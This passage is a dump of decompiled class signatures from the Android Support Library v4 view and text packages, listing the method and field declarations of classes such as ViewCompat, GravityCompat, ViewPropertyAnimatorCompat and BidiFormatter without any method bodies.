    public static float getTranslationX(android.view.View);
    public static float getTranslationY(android.view.View);
    public static float getX(android.view.View);
    public static float getY(android.view.View);
    public static float getRotation(android.view.View);
    public static float getRotationX(android.view.View);
    public static float getRotationY(android.view.View);
    public static float getScaleX(android.view.View);
    public static float getScaleY(android.view.View);
    public static void setTranslationX(android.view.View, float);
    public static void setTranslationY(android.view.View, float);
    public static void setAlpha(android.view.View, float);
    public static void setX(android.view.View, float);
    public static void setY(android.view.View, float);
    public static void setRotation(android.view.View, float);
    public static void setRotationX(android.view.View, float);
    public static void setRotationY(android.view.View, float);
    public static void setScaleX(android.view.View, float);
    public static void setScaleY(android.view.View, float);
    public static void setPivotX(android.view.View, float);
    public static void setPivotY(android.view.View, float);
    public static float getPivotX(android.view.View);
    public static float getPivotY(android.view.View);
    public static void jumpDrawablesToCurrentState(android.view.View);
}










android/support/v4/view/MenuItemCompat$IcsMenuVersionImpl$1.class


package android.support.v4.view;
synchronized class MenuItemCompat$IcsMenuVersionImpl$1 implements MenuItemCompatIcs$SupportActionExpandProxy {
    void MenuItemCompat$IcsMenuVersionImpl$1(MenuItemCompat$IcsMenuVersionImpl, MenuItemCompat$OnActionExpandListener);
    public boolean onMenuItemActionExpand(android.view.MenuItem);
    public boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/GravityCompat.class


package android.support.v4.view;
public synchronized class GravityCompat {
    static final GravityCompat$GravityCompatImpl IMPL;
    public static final int RELATIVE_LAYOUT_DIRECTION = 8388608;
    public static final int START = 8388611;
    public static final int END = 8388613;
    public static final int RELATIVE_HORIZONTAL_GRAVITY_MASK = 8388615;
    public void GravityCompat();
    public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
    public static int getAbsoluteGravity(int, int);
    static void <clinit>();
}










android/support/v4/view/GravityCompat$GravityCompatImplJellybeanMr1.class


package android.support.v4.view;
synchronized class GravityCompat$GravityCompatImplJellybeanMr1 implements GravityCompat$GravityCompatImpl {
    void GravityCompat$GravityCompatImplJellybeanMr1();
    public int getAbsoluteGravity(int, int);
    public void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/KeyEventCompat$HoneycombKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$HoneycombKeyEventVersionImpl extends KeyEventCompat$EclairKeyEventVersionImpl {
    void KeyEventCompat$HoneycombKeyEventVersionImpl();
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImpl.class


package android.support.v4.view;
abstract interface GestureDetectorCompat$GestureDetectorCompatImpl {
    public abstract boolean isLongpressEnabled();
    public abstract boolean onTouchEvent(android.view.MotionEvent);
    public abstract void setIsLongpressEnabled(boolean);
    public abstract void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/ScaleGestureDetectorCompat.class


package android.support.v4.view;
public synchronized class ScaleGestureDetectorCompat {
    static final ScaleGestureDetectorCompat$ScaleGestureDetectorImpl IMPL;
    private void ScaleGestureDetectorCompat();
    public static void setQuickScaleEnabled(Object, boolean);
    public static boolean isQuickScaleEnabled(Object);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateStubImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateStubImpl implements AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateStubImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewPager$Decor.class


package android.support.v4.view;
abstract interface ViewPager$Decor {
}










android/support/v4/view/KeyEventCompat.class


package android.support.v4.view;
public synchronized class KeyEventCompat {
    static final KeyEventCompat$KeyEventVersionImpl IMPL;
    public void KeyEventCompat();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
    public static boolean hasModifiers(android.view.KeyEvent, int);
    public static boolean hasNoModifiers(android.view.KeyEvent);
    public static void startTracking(android.view.KeyEvent);
    public static boolean isTracking(android.view.KeyEvent);
    public static Object getKeyDispatcherState(android.view.View);
    public static boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatJellyBean {
    void AccessibilityDelegateCompatJellyBean();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public static Object getAccessibilityNodeProvider(Object, android.view.View);
    public static boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewCompat$LayerType.class


package android.support.v4.view;
abstract interface ViewCompat$LayerType extends annotation.Annotation {
}










android/support/v4/view/ViewCompat$ViewCompatImpl.class


package android.support.v4.view;
abstract interface ViewCompat$ViewCompatImpl {
    public abstract boolean canScrollHorizontally(android.view.View, int);
    public abstract boolean canScrollVertically(android.view.View, int);
    public abstract int getOverScrollMode(android.view.View);
    public abstract void setOverScrollMode(android.view.View, int);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public abstract boolean hasAccessibilityDelegate(android.view.View);
    public abstract boolean hasTransientState(android.view.View);
    public abstract void setHasTransientState(android.view.View, boolean);
    public abstract void postInvalidateOnAnimation(android.view.View);
    public abstract void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public abstract void postOnAnimation(android.view.View, Runnable);
    public abstract void postOnAnimationDelayed(android.view.View, Runnable, long);
    public abstract int getImportantForAccessibility(android.view.View);
    public abstract void setImportantForAccessibility(android.view.View, int);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public abstract float getAlpha(android.view.View);
    public abstract void setLayerType(android.view.View, int, android.graphics.Paint);
    public abstract int getLayerType(android.view.View);
    public abstract int getLabelFor(android.view.View);
    public abstract void setLabelFor(android.view.View, int);
    public abstract void setLayerPaint(android.view.View, android.graphics.Paint);
    public abstract int getLayoutDirection(android.view.View);
    public abstract void setLayoutDirection(android.view.View, int);
    public abstract android.view.ViewParent getParentForAccessibility(android.view.View);
    public abstract boolean isOpaque(android.view.View);
    public abstract int resolveSizeAndState(int, int, int);
    public abstract int getMeasuredWidthAndState(android.view.View);
    public abstract int getMeasuredHeightAndState(android.view.View);
    public abstract int getMeasuredState(android.view.View);
    public abstract int getAccessibilityLiveRegion(android.view.View);
    public abstract void setAccessibilityLiveRegion(android.view.View, int);
    public abstract int getPaddingStart(android.view.View);
    public abstract int getPaddingEnd(android.view.View);
    public abstract void setPaddingRelative(android.view.View, int, int, int, int);
    public abstract void dispatchStartTemporaryDetach(android.view.View);
    public abstract void dispatchFinishTemporaryDetach(android.view.View);
    public abstract float getX(android.view.View);
    public abstract float getY(android.view.View);
    public abstract float getRotation(android.view.View);
    public abstract float getRotationX(android.view.View);
    public abstract float getRotationY(android.view.View);
    public abstract float getScaleX(android.view.View);
    public abstract float getScaleY(android.view.View);
    public abstract float getTranslationX(android.view.View);
    public abstract float getTranslationY(android.view.View);
    public abstract int getMinimumWidth(android.view.View);
    public abstract int getMinimumHeight(android.view.View);
    public abstract ViewPropertyAnimatorCompat animate(android.view.View);
    public abstract void setRotation(android.view.View, float);
    public abstract void setRotationX(android.view.View, float);
    public abstract void setRotationY(android.view.View, float);
    public abstract void setScaleX(android.view.View, float);
    public abstract void setScaleY(android.view.View, float);
    public abstract void setTranslationX(android.view.View, float);
    public abstract void setTranslationY(android.view.View, float);
    public abstract void setX(android.view.View, float);
    public abstract void setY(android.view.View, float);
    public abstract void setAlpha(android.view.View, float);
    public abstract void setPivotX(android.view.View, float);
    public abstract void setPivotY(android.view.View, float);
    public abstract float getPivotX(android.view.View);
    public abstract float getPivotY(android.view.View);
    public abstract void setElevation(android.view.View, float);
    public abstract float getElevation(android.view.View);
    public abstract void setTranslationZ(android.view.View, float);
    public abstract float getTranslationZ(android.view.View);
    public abstract void setTransitionName(android.view.View, String);
    public abstract String getTransitionName(android.view.View);
    public abstract int getWindowSystemUiVisibility(android.view.View);
    public abstract void requestApplyInsets(android.view.View);
    public abstract void setChildrenDrawingOrderEnabled(android.view.ViewGroup, boolean);
    public abstract boolean getFitsSystemWindows(android.view.View);
    public abstract void jumpDrawablesToCurrentState(android.view.View);
    public abstract void setOnApplyWindowInsetsListener(android.view.View, OnApplyWindowInsetsListener);
}










android/support/v4/view/ScaleGestureDetectorCompat$ScaleGestureDetectorCompatKitKatImpl.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompat$ScaleGestureDetectorCompatKitKatImpl implements ScaleGestureDetectorCompat$ScaleGestureDetectorImpl {
    private void ScaleGestureDetectorCompat$ScaleGestureDetectorCompatKitKatImpl();
    public void setQuickScaleEnabled(Object, boolean);
    public boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/ViewPropertyAnimatorCompatICS.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompatICS {
    void ViewPropertyAnimatorCompatICS();
    public static void setDuration(android.view.View, long);
    public static void alpha(android.view.View, float);
    public static void translationX(android.view.View, float);
    public static void translationY(android.view.View, float);
    public static long getDuration(android.view.View);
    public static void setInterpolator(android.view.View, android.view.animation.Interpolator);
    public static void setStartDelay(android.view.View, long);
    public static long getStartDelay(android.view.View);
    public static void alphaBy(android.view.View, float);
    public static void rotation(android.view.View, float);
    public static void rotationBy(android.view.View, float);
    public static void rotationX(android.view.View, float);
    public static void rotationXBy(android.view.View, float);
    public static void rotationY(android.view.View, float);
    public static void rotationYBy(android.view.View, float);
    public static void scaleX(android.view.View, float);
    public static void scaleXBy(android.view.View, float);
    public static void scaleY(android.view.View, float);
    public static void scaleYBy(android.view.View, float);
    public static void cancel(android.view.View);
    public static void x(android.view.View, float);
    public static void xBy(android.view.View, float);
    public static void y(android.view.View, float);
    public static void yBy(android.view.View, float);
    public static void translationXBy(android.view.View, float);
    public static void translationYBy(android.view.View, float);
    public static void start(android.view.View);
    public static void setListener(android.view.View, ViewPropertyAnimatorListener);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private int mTouchSlopSquare;
    private int mDoubleTapSlopSquare;
    private int mMinimumFlingVelocity;
    private int mMaximumFlingVelocity;
    private static final int LONGPRESS_TIMEOUT;
    private static final int TAP_TIMEOUT;
    private static final int DOUBLE_TAP_TIMEOUT;
    private static final int SHOW_PRESS = 1;
    private static final int LONG_PRESS = 2;
    private static final int TAP = 3;
    private final android.os.Handler mHandler;
    private final android.view.GestureDetector$OnGestureListener mListener;
    private android.view.GestureDetector$OnDoubleTapListener mDoubleTapListener;
    private boolean mStillDown;
    private boolean mDeferConfirmSingleTap;
    private boolean mInLongPress;
    private boolean mAlwaysInTapRegion;
    private boolean mAlwaysInBiggerTapRegion;
    private android.view.MotionEvent mCurrentDownEvent;
    private android.view.MotionEvent mPreviousUpEvent;
    private boolean mIsDoubleTapping;
    private float mLastFocusX;
    private float mLastFocusY;
    private float mDownFocusX;
    private float mDownFocusY;
    private boolean mIsLongpressEnabled;
    private android.view.VelocityTracker mVelocityTracker;
    public void GestureDetectorCompat$GestureDetectorCompatImplBase(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    private void init(android.content.Context);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
    public void setIsLongpressEnabled(boolean);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    private void cancel();
    private void cancelTaps();
    private boolean isConsideredDoubleTap(android.view.MotionEvent, android.view.MotionEvent, android.view.MotionEvent);
    private void dispatchLongPress();
    static void <clinit>();
}










android/support/v4/view/ViewPager$OnAdapterChangeListener.class


package android.support.v4.view;
abstract interface ViewPager$OnAdapterChangeListener {
    public abstract void onAdapterChanged(PagerAdapter, PagerAdapter);
}










android/support/v4/view/ViewPropertyAnimatorCompatKK.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompatKK {
    void ViewPropertyAnimatorCompatKK();
    public static void setUpdateListener(android.view.View, ViewPropertyAnimatorUpdateListener);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatImpl.class


package android.support.v4.view;
abstract interface ViewGroupCompat$ViewGroupCompatImpl {
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    public abstract int getLayoutMode(android.view.ViewGroup);
    public abstract void setLayoutMode(android.view.ViewGroup, int);
    public abstract void setTransitionGroup(android.view.ViewGroup, boolean);
    public abstract boolean isTransitionGroup(android.view.ViewGroup);
}










android/support/v4/view/AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/AccessibilityDelegateCompatIcs$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatIcs$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatIcs$1(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/MotionEventCompatEclair.class


package android.support.v4.view;
synchronized class MotionEventCompatEclair {
    void MotionEventCompatEclair();
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/WindowInsetsCompat.class


package android.support.v4.view;
public synchronized class WindowInsetsCompat {
    void WindowInsetsCompat();
    public int getSystemWindowInsetLeft();
    public int getSystemWindowInsetTop();
    public int getSystemWindowInsetRight();
    public int getSystemWindowInsetBottom();
    public boolean hasSystemWindowInsets();
    public boolean hasInsets();
    public boolean isConsumed();
    public boolean isRound();
    public WindowInsetsCompat consumeSystemWindowInsets();
    public WindowInsetsCompat replaceSystemWindowInsets(int, int, int, int);
    public WindowInsetsCompat replaceSystemWindowInsets(android.graphics.Rect);
    public int getStableInsetTop();
    public int getStableInsetLeft();
    public int getStableInsetRight();
    public int getStableInsetBottom();
    public boolean hasStableInsets();
    public WindowInsetsCompat consumeStableInsets();
}










android/support/v4/view/ScaleGestureDetectorCompatKitKat.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompatKitKat {
    private void ScaleGestureDetectorCompatKitKat();
    public static void setQuickScaleEnabled(Object, boolean);
    public static boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/ViewPropertyAnimatorCompat$ViewPropertyAnimatorCompatImpl.class


package android.support.v4.view;
abstract interface ViewPropertyAnimatorCompat$ViewPropertyAnimatorCompatImpl {
    public abstract void setDuration(ViewPropertyAnimatorCompat, android.view.View, long);
    public abstract long getDuration(ViewPropertyAnimatorCompat, android.view.View);
    public abstract void setInterpolator(ViewPropertyAnimatorCompat, android.view.View, android.view.animation.Interpolator);
    public abstract android.view.animation.Interpolator getInterpolator(ViewPropertyAnimatorCompat, android.view.View);
    public abstract void setStartDelay(ViewPropertyAnimatorCompat, android.view.View, long);
    public abstract long getStartDelay(ViewPropertyAnimatorCompat, android.view.View);
    public abstract void alpha(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void alphaBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void rotation(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void rotationBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void rotationX(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void rotationXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void rotationY(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void rotationYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void scaleX(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void scaleXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void scaleY(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void scaleYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void cancel(ViewPropertyAnimatorCompat, android.view.View);
    public abstract void x(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void xBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void y(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void yBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void translationX(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void translationXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void translationY(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void translationYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public abstract void start(ViewPropertyAnimatorCompat, android.view.View);
    public abstract void withLayer(ViewPropertyAnimatorCompat, android.view.View);
    public abstract void withStartAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public abstract void withEndAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public abstract void setListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorListener);
    public abstract void setUpdateListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorUpdateListener);
}










android/support/v4/view/ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl$Starter.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl$Starter implements Runnable {
    ref.WeakReference mViewRef;
    ViewPropertyAnimatorCompat mVpa;
    private void ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl$Starter(ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl, ViewPropertyAnimatorCompat, android.view.View);
    public void run();
}










android/support/v4/view/MenuItemCompat$MenuVersionImpl.class


package android.support.v4.view;
abstract interface MenuItemCompat$MenuVersionImpl {
    public abstract void setShowAsAction(android.view.MenuItem, int);
    public abstract android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public abstract android.view.MenuItem setActionView(android.view.MenuItem, int);
    public abstract android.view.View getActionView(android.view.MenuItem);
    public abstract boolean expandActionView(android.view.MenuItem);
    public abstract boolean collapseActionView(android.view.MenuItem);
    public abstract boolean isActionViewExpanded(android.view.MenuItem);
    public abstract android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/ViewPager$OnPageChangeListener.class


package android.support.v4.view;
public abstract interface ViewPager$OnPageChangeListener {
    public abstract void onPageScrolled(int, float, int);
    public abstract void onPageSelected(int);
    public abstract void onPageScrollStateChanged(int);
}










android/support/v4/view/WindowCompat.class


package android.support.v4.view;
public synchronized class WindowCompat {
    public static final int FEATURE_ACTION_BAR = 8;
    public static final int FEATURE_ACTION_BAR_OVERLAY = 9;
    public static final int FEATURE_ACTION_MODE_OVERLAY = 10;
    public void WindowCompat();
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1 implements AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public Object getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewParentCompat$ViewParentCompatImpl.class


package android.support.v4.view;
abstract interface ViewParentCompat$ViewParentCompatImpl {
    public abstract boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPropertyAnimatorCompatJellybeanMr2.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompatJellybeanMr2 {
    void ViewPropertyAnimatorCompatJellybeanMr2();
    public static android.view.animation.Interpolator getInterpolator(android.view.View);
}










android/support/v4/view/ViewCompat$AccessibilityLiveRegion.class


package android.support.v4.view;
abstract interface ViewCompat$AccessibilityLiveRegion extends annotation.Annotation {
}










android/support/v4/view/ViewPropertyAnimatorCompat$1.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$1 {
}










android/support/v4/view/VelocityTrackerCompat$BaseVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$BaseVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$BaseVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/text/BidiFormatter.class


package android.support.v4.text;
public final synchronized class BidiFormatter {
    private static TextDirectionHeuristicCompat DEFAULT_TEXT_DIRECTION_HEURISTIC;
    private static final char LRE = 8234;
    private static final char RLE = 8235;
    private static final char PDF = 8236;
    private static final char LRM = 8206;
    private static final char RLM = 8207;
    private static final String LRM_STRING;
    private static final String RLM_STRING;
    private static final String EMPTY_STRING = ;
    private static final int FLAG_STEREO_RESET = 2;
    private static final int DEFAULT_FLAGS = 2;
    private static final BidiFormatter DEFAULT_LTR_INSTANCE;
    private static final BidiFormatter DEFAULT_RTL_INSTANCE;
    private final boolean mIsRtlContext;
    private final int mFlags;
    private final TextDirectionHeuristicCompat mDefaultTextDirectionHeuristicCompat;
    private static final int DIR_LTR = -1;
    private static final int DIR_UNKNOWN = 0;
    private static final int DIR_RTL = 1;
    public static BidiFormatter getInstance();
    public static BidiFormatter getInstance(boolean);
    public static BidiFormatter getInstance(java.util.Locale);
    private void BidiFormatter(boolean, int, TextDirectionHeuristicCompat);
    public boolean isRtlContext();
    public boolean getStereoReset();
    private String markAfter(String, TextDirectionHeuristicCompat);
    private String markBefore(String, TextDirectionHeuristicCompat);
    public boolean isRtl(String);
    public String unicodeWrap(String, TextDirectionHeuristicCompat, boolean);
    public String unicodeWrap(String, TextDirectionHeuristicCompat);
    public String unicodeWrap(String, boolean);
    public String unicodeWrap(String);
    private static boolean isRtlLocale(java.util.Locale);
    private static int getExitDir(String);
    private static int getEntryDir(String);
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat.class


package android.support.v4.text;
public synchronized class TextDirectionHeuristicsCompat {
    public static final TextDirectionHeuristicCompat LTR;
    public static final TextDirectionHeuristicCompat RTL;
    public static final TextDirectionHeuristicCompat FIRSTSTRONG_LTR;
    public static final TextDirectionHeuristicCompat FIRSTSTRONG_RTL;
    public static final TextDirectionHeuristicCompat ANYRTL_LTR;
    public static final TextDirectionHeuristicCompat LOCALE;
    private static final int STATE_TRUE = 0;
    private static final int STATE_FALSE = 1;
    private static final int STATE_UNKNOWN = 2;
    public void TextDirectionHeuristicsCompat();
    private static int isRtlText(int);
    private static int isRtlTextOrFormat(int);
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionAlgorithm.class


package android.support.v4.text;
abstract interface TextDirectionHeuristicsCompat$TextDirectionAlgorithm {
    public abstract int checkRtl(CharSequence, int, int);
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionHeuristicInternal.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$TextDirectionHeuristicInternal extends TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl {
    private final boolean mDefaultIsRtl;
    private void TextDirectionHeuristicsCompat$TextDirectionHeuristicInternal(TextDirectionHeuristicsCompat$TextDirectionAlgorithm, boolean);
    protected boolean defaultIsRtl();
}










android/support/v4/text/TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl.class


package android.support.v4.text;
abstract synchronized class TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl implements TextDirectionHeuristicCompat {
    private final TextDirectionHeuristicsCompat$TextDirectionAlgorithm mAlgorithm;
    public void TextDirectionHeuristicsCompat$TextDirectionHeuristicImpl(TextDirectionHeuristicsCompat$TextDirectionAlgorithm);
    protected abstract boolean defaultIsRtl();
    public boolean isRtl(char[], int, int);
    public boolean isRtl(CharSequence, int, int);
    private boolean doCheck(CharSequence, int, int);
}










android/support/v4/text/TextDirectionHeuristicsCompat$AnyStrong.class


package android.support.v4.text;
synchronized class TextDirectionHeuristicsCompat$AnyStrong implements TextDirectionHeuristicsCompat$TextDirectionAlgorithm {
    private final boolean mLookForRtl;
    public static final TextDirectionHeuristicsCompat$AnyStrong INSTANCE_RTL;
    public static final TextDirectionHeuristicsCompat$AnyStrong INSTANCE_LTR;
    public int checkRtl(CharSequence, int, int);
    private void TextDirectionHeuristicsCompat$AnyStrong(boolean);
    static void <clinit>();
}










android/support/v4/text/TextDirectionHeuristicCompat.class


package android.support.v4.text;
public abstract interface TextDirectionHeuristicCompat {
    public abstract boolean isRtl(char[], int, int);
    public abstract boolean isRtl(CharSequence, int, int);
}










android/support/v4/text/TextUtilsCompat.class


package android.support.v4.text;
public synchronized class TextUtilsCompat {
    public static final java.util.Locale ROOT;
    private static String ARAB_SCRIPT_SUBTAG;
    private static String HEBR_SCRIPT_SUBTAG;
    public void TextUtilsCompat();
    public static String htmlEncode(String);
    public static int getLayoutDirectionFromLocale(java.util.Locale);
    private static int getLayoutDirectionFromFirstChar(java.util.Locale);
    static void <clinit>();
}










android/support/v4/text/ICUCompat$ICUCompatImpl.class


package android.support.v4.text;
abstract interface ICUCompat$ICUCompatImpl {
    public abstract String getScript(String);
    public abstract String addLikelySubtags(String);
}










android/support/v4/text/ICUCompatIcs.class


package android.support.v4.text;
synchronized class ICUCompatIcs {
    private static final String TAG = ICUCompatIcs;
    private static reflect.Method sGetScriptMethod;
    private static reflect.Method sAddLikelySubtagsMethod;
    void ICUCompatIcs();
    public static String getScript(String);
    public static String addLikelySubtags(String);
    static void <clinit>();
}










android/support/v4/text/BidiFormatter$Builder.class


package android.support.v4.text;
public final synchronized class BidiFormatter$Builder {
    private boolean mIsRtlContext;
    private int mFlags;
    private TextDirectionHeuristicCompat mTextDirectionHeuristicCompat;
    public void BidiFormatter$Builder();
